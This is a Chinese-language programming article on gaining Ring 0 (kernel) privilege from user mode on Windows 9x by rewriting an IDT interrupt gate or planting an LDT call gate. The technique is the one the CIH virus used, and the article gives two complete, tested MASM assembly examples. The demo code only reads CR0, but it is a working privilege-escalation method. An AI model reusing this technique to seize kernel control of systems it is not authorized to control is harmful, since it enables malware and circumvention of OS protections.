摘 要:本文介绍了在Windows 9X下取得Ring 0控制权的两种未公开的方法,提供了用汇编语言编写的例子。这是利用了下列事实,Win9X中的重要的系统表没有一个是位于禁止低优先级实体访问的页面上。
关键字:操作系统 80x86 优先级 0环
保护模式和操作系统内部的基本知识请参考文献[1][2]。本文描叙的技术不是一个特别好且清晰的获取高优先级的方法。但是它们只需很小的代码开销,有时用它们比用一个完全的VxD实现更为可行。
一、概述
在所有现代操作系统中,CPU运行于保护模式,充分利用这种模式的特性实现虚拟内存、多任务等。为了管理对系统临界资源的访问(提供系统稳定性),一个操作系统需要优先级的支持,这样一个程序不能仅仅交换出保护模式。在80386及后续的CPU中,优先级的概念用环(Ring)来表示。0环(Ring 0)代表最高优先级,3环(Ring 3)代表最低优先级。理论上说,x86系列CPU具有4级优先级,但Win32仅仅使用了其中两个。这是由于RISC类型的CPU仅有两级优先级,为了使Win32能移植到 RISC芯片,因此在80x86中也只用了两级。Ring 0表示核心态,而Ring 3表示用户态。
由于绝大部分的应用程序是不需要直接去0环的,公开的唯一方法是使用0环的子程序,这在Win 9X中是通过VxD技术。虽然VxD技术是稳定的且被推荐的方法,但是它需要专门编写,并且它的开销大。因此在某些特殊情况下,用别的方法进入0环是更有效的。
CPU用两种方法处理优先级转换:通过意外/中断;通过调用门(Callgate)。调用门可能放在局部描述符表LDT或全局描述符表GDT中。中断门放在IDT表中。我们可以利用Win9X的漏洞,这些重要的系统表(IDT、LDT、GDT)可以在3环下被自由修改。注意,在Windows NT中这种方法是不行的。
二、IDT法
前一段时间肆虐的CIH病毒就是通过修改IDT表来获得系统控制权的(参考文献[3])。当一个意外发生或一个中断触发时,CPU在IDT表中找到相应的描述符而转移控制。这个描述符包含控制将转移到的段选择子及偏移量。
一个中断门描述符具体结构如下:
63 48 47 32
偏移量高字(31-16) |
P |
DPL |
DPL |
0 |
1 |
1 |
1 |
0 |
0 |
0 |
0 |
R |
R |
R |
R |
R |
段选择子 |
偏移量的低字(15-0) |
31 16 15 0
DPL:2位,表示描述符的优先级(Descriptor Privilege Level)
P:存在(Present)位。P=1表示描述符对地址转换是有效的,或者表示该描述符所描述的段存在;P=0表示描述符对地址转换无效,并且使用该描述符会引起异常。
R:保留(Reserved)位
第0到15位为意外处理程序地址(32位)的低16位,第48到63位为意外处理程序地址的高16位。第16到31位为处理程序所在段的选择子。第32到47位确定了此描述符为中断门,包括它的优先权和存在位。
下面是使用IDT表进入0环的方法:
1 首先新建一个中断门,它指向用户的欲在0环运行的过程。
2 保存一个旧的中断门,用刚才新建的去替换它。
这样当用户触发那个旧中断时,CPU将执行用户编写的欲在0环运行的代码,而不会将控制权传递给Windows自己的处理程序。
3 当用户的欲在0环运行的代码执行完毕,应恢复旧的中断门。
在Win9X中,选择子0028H总是指向0环的代码段(有4GB的地址空间),用它作为段选择子。由于用户是从3环开始调用,则DPL应设置为3。另外,存在位也必须置位。因此,第32到47位应该为1110111000000000B,即EE00H。这些值能够在用户的程序中设置为常量。用户只需将用户的0环过程的偏移量赋予描述符即可。
选择被替换的中断时,应该首先选择那些很少发生的。因此不要用INT 14H,不妨选择INT 9H。
例1:
;-------------------------------- bite here.386P
.MODEL FLAT, STDCALL
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc ;用了API函数ExitProcess
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc ;用了MessageBoxA,wsprintfA
includelib \masm32\lib\user32.lib
wsprintfA proto C :DWORD,:DWORD,:VARARG
wsprintf TEXTEQU <wsprintfA>
.data
buffer db 10h dup (?)
template db "%1x",0
IDTR df 0 ;接收IDTR寄存器的内容(6字节)
SavedGate dq 0 ;保存被替换门的地址(8字节)
OurGate dw 0 ;偏移量的低字
dw 028h ;段选择子
dw 0EE00h ;属性
dw 0 ;偏移量的高字
MsgCaption1 db "进入0环前,寄存器EAX为",0
MsgCaption2 db "从0环出来后,EAX的值等于CR0的值,为",0
.code
Start:
mov eax, offset Ring0Proc
mov [OurGate], ax ; 将用户欲在0环运行过程
shr eax, 16 ; 的偏移量赋给用户新建的
mov [OurGate+6], ax ; 描述符OurGate。
sidt fword ptr IDTR ; 存储中断描述符表寄存器到变量IDTR中,
; 低字为界限,高双字为基地址。
mov ebx, dword ptr [IDTR+2] ; 装入IDT表的基地址。
add ebx, 8*9 ; 此时EBX中为INT 9描述符的地址。
mov edi, offset SavedGate
mov esi, ebx
movsd ; 保存旧的INT 9描述符
movsd ; 到SavedGate中去。
mov edi, ebx
mov esi, offset OurGate
movsd ; 替换INT 9的旧描述符为用户新建的。
movsd ;
invoke wsprintf,addr buffer,addr template,eax
invoke MessageBox,NULL,addr buffer,addr MsgCaption1,MB_OK
int 9h ; 触发中断,将控制权传递给用户的
; 0环过程。
invoke wsprintf,addr buffer,addr template,eax
invoke MessageBox,NULL,addr buffer,addr MsgCaption2,MB_OK
mov edi, ebx
mov esi, offset SavedGate
movsd ; 恢复旧INT 9的描述符。
movsd
invoke ExitProcess, NULL
Ring0Proc PROC
;此过程代码在0环下运行
mov eax, CR0 ;控制寄存器的数据传送为特权指令
iretd
Ring0Proc ENDP
end Start
;-------------------------------- bite here
三、LDT法
另一种执行0环代码的方法是安装调用门(Callgate)到LDT或GDT中去。在Win9X中,使用LDT稍微简单一点。因为LDT表中的前16个描述符总是空的,只要给这些描述符加代码即可。调用门与中断门类似,通过一条CALL指令,用于将控制权从低优先级段传递到高优先级段。
一个调用门描述符结构如下:
其中:DWC:双字计数器,表明复制到0环栈的参数个数
P:存在(Present)位
DPL:2位,表示描述符的优先级(Descriptor Privilege Level)
63 48 47 32
偏移量高字(31-16) |
P |
DPL |
DPL |
0 |
1 |
1 |
0 |
0 |
0 |
0 |
0 |
0 |
DWC |
DWC |
DWC |
DWC |
段选择子 |
偏移量的低字(15-0) |
31 16 15 0
LDT段描述符描述任务的局部描述符表段,它必须安排在全局描述符表GDT中才有效。一个LDT段描述符的格式如下:
其中:G:段界限的粒度。G=0表示界限粒度为字节,G=1表示粒度为4K
X:未使用
D:D=1为默认值,指明指令是32位的;D=1则为16/8位的
AVL:软件可利用位,INTEL未定义
DT:描述符类型,DT=1表示存储段,DT=0表示系统段
63 55 40 32
段基地址(31-24) |
G |
X |
0 |
AVL |
段界限 (19-16) |
P |
DPL |
DPL |
DT |
存储段属性 |
段基地址(23-16) |
段基地址(15-0) |
段界限(15-0) |
31 16 15 0
用户要做的就是建立一个调用门,将它写入开始16个描述符(0到15)中的任意一个,然后执行对那个描述符的一个远程调用,这样就执行了用户自己的0环代码。
例2:
;-------------------------------- bite here
.386P
.MODEL FLAT, STDCALL
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
wsprintfA proto C :DWORD,:DWORD,:VARARG
wsprintf TEXTEQU <wsprintfA>
.data
buffer db 10h dup (?)
template db "%1x",0
GDTR df 0 ;接收GDTR寄存器的内容(6字节)
CallPtr dd 00h ;
dw 0Fh ;使用LDT表中的第1个描述符(偏移为8),
;且优先级为3,所以段选择子为000Fh。
;段选择子为16位,其中最低两位为优先级,
;第3位为1表示选择子在LDT表中,高13位为描述符索引。
OurGate dw 0 ; 偏移量的低字
dw 028h ; 段选择子
dw 0EC00h ; 属性
dw 0 ; 偏移量的高字
MsgCaption1 db "进入0环前,寄存器EAX的值为",0
MsgCaption2 db "从0环出来后,EAX的值等于CR0的值,为",0
.code
Start:
mov eax, offset Ring0Proc
mov [OurGate], ax ;将用户欲在0环运行过程
shr eax, 16 ;的偏移量赋给用户新建的
mov [OurGate+6], ax ;描述符OurGate。
xor eax, eax
sgdt fword ptr GDTR ;存储全局描述符表寄存器到变量GDTR中,
;低字为界限,高双字为基地址。
mov ebx, dword ptr [GDTR+2] ;装入GDT表的基地址到EBX。
sldt ax ;将当前任务局部描述符表寄存器存入AX。
add ebx, eax ;此时EBX中为LDT段描述符的首地址。
mov al, [ebx+4] ;装入LDT表的首地址(即第0个LDT描述符)
mov ah, [ebx+7] ;的地址到EAX中。
shl eax, 16 ;
mov ax, [ebx+2] ;
add eax, 8 ;跳过空描述符,指向第1个LDT描述符。
mov edi, eax
mov esi, offset OurGate
movsd ;将用户的调用门安装到LDT中去
movsd ;
invoke wsprintf,addr buffer,addr template,eax
invoke MessageBox,NULL,addr buffer,addr MsgCaption1,MB_OK
call fword ptr [CallPtr] ;执行第1个LDT描述符指向的0环过程
invoke wsprintf,addr buffer,addr template,eax
invoke MessageBox,NULL,addr buffer,addr MsgCaption2,MB_OK
xor eax, eax ;清除刚安装的LDT描述符。
sub edi, 8
stosd
stosd
invoke ExitProcess, NULL
Ring0Proc PROC
;此过程代码在0环下运行
mov eax, CR0 ;控制寄存器的数据传送为特权指令
retf
Ring0Proc ENDP
end Start
;-------------------------------- bite here
四、附加说明
本文所举的两个例子已在Pentium 133/Windows 98/MASM32下调试通过。MASM32提供了一个较好的汇编语言集成开发环境Quick Editor(qeditor.exe),它实际上调用的都是Microsoft的汇编器和链接器。我们用的Quick Editor版本为1.6,汇编器(ml.exe)为6.14.8444版,链接器(link.exe)为5.12.8078版。调试工具可用UR软件公司的W32Dasm V8.9版。
MASM32中的setini.exe用来设置Quick Editor所调用的工具、帮助、工程的路径,将信息保存在qeditor.ini里。为了能在计算机不同的驱动器上访问这些工具,应将qeditor.ini中的文件路径加上驱动器名,使得配置中的相对路径(缺省的)成为绝对路径。另外,qeditor.exe的project菜单中的菜单项是调用了\masm32\bin\中的相应批处理文件,如Link OBJ File菜单项就调用了lnk.bat文件,这些批处理文件也需要修改,使所用工具的路径加上盘符。在用户编写的程序中,如果用到了*.inc,*.lib文件,也须设置路径。注意Quick Editor还不能正确识别象My Documents等目录名。由于缺省设置都是相对当前驱动器的,因此,较简单的方法是将用户编写的程序与MASM32放在同一盘中,当然不必是同一目录。
上机过程如下:用qeditor.exe编辑一个以asm结尾的文本文件,保存,再装入。点击菜单project => Assamble ASM File,将asm文件汇编成obj文件。点击菜单project=>Link OBJ File,将obj文件链接成exe文件。
本文的两个例子演示了在准备进入0环前EAX的值,及刚出0环后EAX的值。此时EAX中为控制寄存器CR0的值,此值只能在0环得到,说明已去了0环。
参考文献:
[1] 周明德,《保护方式下的80386及其编程》,北京:清华大学出版社,1993年12月
[2] 杨季文等,《80x86汇编语言程序设计教程》,北京:清华大学出版社,1998年6月
[3] CIH virus & Stone's example source,http://www.cracking.net.
|